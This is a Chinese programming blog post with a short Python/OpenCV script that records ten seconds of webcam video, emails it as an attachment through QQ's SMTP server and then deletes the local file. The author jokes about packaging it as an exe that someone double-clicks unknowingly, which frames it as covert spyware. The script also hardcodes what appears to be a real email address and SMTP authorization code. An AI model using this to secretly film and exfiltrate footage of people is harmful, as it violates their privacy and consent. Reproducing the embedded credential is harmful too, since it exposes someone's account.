Python | OpenCV实现视频抓拍并发送至邮箱

简单说一下,大概的代码实现过程:

首先,必须保证电脑带有摄像头并且为打开状态(联网是基本前提),就是没有被遮挡;然后,你就可以运行代码了,代码会自动调用电脑摄像头,并开始拍摄视频,视频暂时保存在于py文件同路径(可自行更改);最后,通过smtplib模块,实现邮件发送功能。

开个小玩笑,比如我们将此代码打包成一个exe文件,当某人不知情的情况下双击了这个文件,O(∩_∩)O哈哈~

当然前提是电脑摄像头得打开喔!

下面是代码实现:

import cv2
import time
import os
import glob
from PIL import Image
import numpy as np
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header


def capture():
    cap = cv2.VideoCapture(0)  # 打开摄像头
    out = cv2.VideoWriter('video.mp4', -1, 20.0, (640, 480))  # 帧率写入对象
    start = time.time()  # 开始视频拍摄计时
    while cap.isOpened():  # 当摄像头为打开状态,即循环
        ret, frame = cap.read()  # ret为true,frame为帧率图
        if ret:
            frame = cv2.flip(frame, 1)  # 将图片垂直对称
            out.write(frame)  # 帧率写入
        if time.time() - start >= 10:  # 拍摄时间大于10,跳出循环
            break
    cap.release()  # 释放资源
    out.release()  # 释放资源


def sending():
    sender = 'echohye@qq.com'  # 发件人的账号
    password = 'qynwvamzolcmdibe'  # 发件人的对应账号密码

    # 创建一个带附件的实例
    message = MIMEMultipart()
    message['From'] = Header("抓拍测试", 'utf-8')
    message['To'] = Header("测试", 'utf-8')
    subject = 'Python SMTP 邮件测试'
    message['Subject'] = Header(subject, 'utf-8')

    # 邮件正文内容
    message.attach(MIMEText('这是Python 邮件发送测试……', 'plain', 'utf-8'))

    # 构造附件1,传送当前目录下的 video.mp4 文件
    att1 = MIMEText(open('video.mp4', 'rb').read(), 'base64', 'utf-8')
    att1["Content-Type"] = 'application/octet-stream'
    # 这里的filename可以任意写,写什么名字,邮件中显示什么名字
    att1["Content-Disposition"] = 'attachment; filename="video.mp4"'
    message.attach(att1)
    try:
        smtpObj = smtplib.SMTP_SSL('smtp.qq.com', 465)
        smtpObj.login(sender, password)
        smtpObj.sendmail(sender, [sender], message.as_string())
        print('邮件发送成功')
    except smtplib.SMTPException:
        print("Error: 无法发送邮件")
    if os.path.exists("video.mp4"):
        os.remove("video.mp4")


if __name__ == '__main__':
    capture()
    print("程序还在运行,请耐心等待...")
    sending()

运行测试

代码整个实现流程大概这样,有兴趣的可以继续完善,不要干小坏事哟~

posted @   槑孒  阅读(272)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
点击右上角即可分享
微信分享提示